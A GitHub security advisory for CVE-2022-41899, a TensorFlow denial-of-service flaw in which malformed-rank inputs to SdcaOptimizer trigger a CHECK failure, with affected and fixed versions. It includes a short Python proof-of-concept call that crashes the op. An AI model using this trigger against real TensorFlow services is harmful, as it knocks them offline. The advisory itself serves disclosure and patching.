GitHub Advisoryadvisory · PyPI

GHSA-27rc-728f-x5w2 `CHECK` fail via inputs in `SdcaOptimizer`

MEDIUM Published 2022-11-21 Modified 2022-11-21 Official page ↗
Aliases
CVE-2022-41899
Ecosystem
PyPI
Packages
tensorflow, tensorflow-cpu, tensorflow-gpu
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H
Weaknesses
CWE-20, CWE-617
Reviewed
2022-11-21

Affected packages

• PyPI tensorflow: < 2.8.4 → fixed in 2.8.4 • PyPI tensorflow: >= 2.9.0, < 2.9.3 → fixed in 2.9.3 • PyPI tensorflow: >= 2.10.0, < 2.10.1 → fixed in 2.10.1 • PyPI tensorflow-cpu: < 2.8.4 → fixed in 2.8.4 • PyPI tensorflow-gpu: < 2.8.4 → fixed in 2.8.4 • PyPI tensorflow-cpu: >= 2.9.0, < 2.9.3 → fixed in 2.9.3 • PyPI tensorflow-gpu: >= 2.9.0, < 2.9.3 → fixed in 2.9.3 • PyPI tensorflow-cpu: >= 2.10.0, < 2.10.1 → fixed in 2.10.1 • PyPI tensorflow-gpu: >= 2.10.0, < 2.10.1 → fixed in 2.10.1

Description

Impact Inputs `dense_features` or `example_state_data` not of rank 2 will trigger a `CHECK` fail in `SdcaOptimizer`. ```python import tensorflow as tf tf.raw_ops.SdcaOptimizer( sparse_example_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)], sparse_feature_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)], sparse_feature_values=8 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)], dense_features=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)], example_weights=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100), example_labels=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100), sparse_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)], sparse_weights=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)], dense_weights=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)], example_state_data=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100), loss_type="squared_loss", l1=0.0, l2=0.0, num_loss_partitions=1, num_inner_iterations=1, adaptative=False,) ``` Patches We have patched the issue in GitHub commit 80ff197d03db2a70c6a111f97dcdacad1b0babfa. The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range. For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions. Attribution This vulnerability has been reported by Zizhuang Deng of IIE, UCAS

Related

Alias · CVE (1)

  • CVE-2022-41899 TensorFlow is an open source platform for machine learning. vulnerability

Weakness · CWE (2)

  • CWE-20 Improper Input Validation weakness
  • CWE-617 Reachable Assertion weakness

References